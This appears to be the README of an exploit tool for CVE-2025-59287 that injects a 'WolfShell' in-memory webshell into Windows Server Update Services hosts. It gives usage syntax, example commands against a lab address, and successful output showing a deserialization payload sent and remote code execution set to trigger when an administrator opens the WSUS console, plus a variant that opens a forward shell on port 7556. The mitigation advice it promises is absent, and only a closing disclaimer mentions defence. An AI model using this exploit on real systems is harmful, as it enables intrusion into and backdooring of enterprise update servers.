
Exploit for CVE-2025-59287, injecting WolfShell memory webshell into WSUS servers to achieve remote code execution when the admin console is opened.
CVE-2025-59287 — Injecting WolfShell Wolverine Forward Memory Shell
CVE-2025-59287 exploits a logic flaw in WSUS-related components to inject a WolfShell memory shell into the target server. When an administrator opens the WSUS console (triggered by default at a random time within 1-30 minutes), the memory shell triggers and leads to remote code execution (RCE). This document contains exploitation examples, required files, and mitigation recommendations.
Send a ysoserial.net deserialization payload to the target server with customizable functionality. This project demonstrates the injection of a Wolverine memory shell.
Usage: CVE-2025-59287 <target_url> <payload_file>
CVE-2025-59287 http://192.168.50.159:8530 wolfaspx.txt
C:\Users\Administrator\Desktop\>CVE-2025-59287 http://192.168.50.159:8530 wolfshell.txt
[+] Target: http://192.168.50.159:8530/
[+] Payload read successfully, length: 20413 characters
[+] Getting Server ID...
[+] Server ID: c37d5d65-6460-4543-b7f2-f6414a3c36f9
[+] Auth cookie with Server ID...
[+] Using ID: c37d5d65-6460-4543-b7f2-f6414a3c36f9
[+] Sending event with payload...
[+] SUCCESS!
[!] RCE will trigger when you open the WSUS console!
[!] to cleanup remove the hawktrace.local computer from WSUS
CVE-2025-59287 http://192.168.50.159:8530 allow7556.txt

Blocked and killed by Windows Defender on Win2019, unusable

As shown in the figure, successfully listening on port 7556 indicates the Wolverine memory forward shell has been injected.


This document is intended solely for security research and defensive purposes. Do not use the related exploit code against unauthorized systems or for attack activities.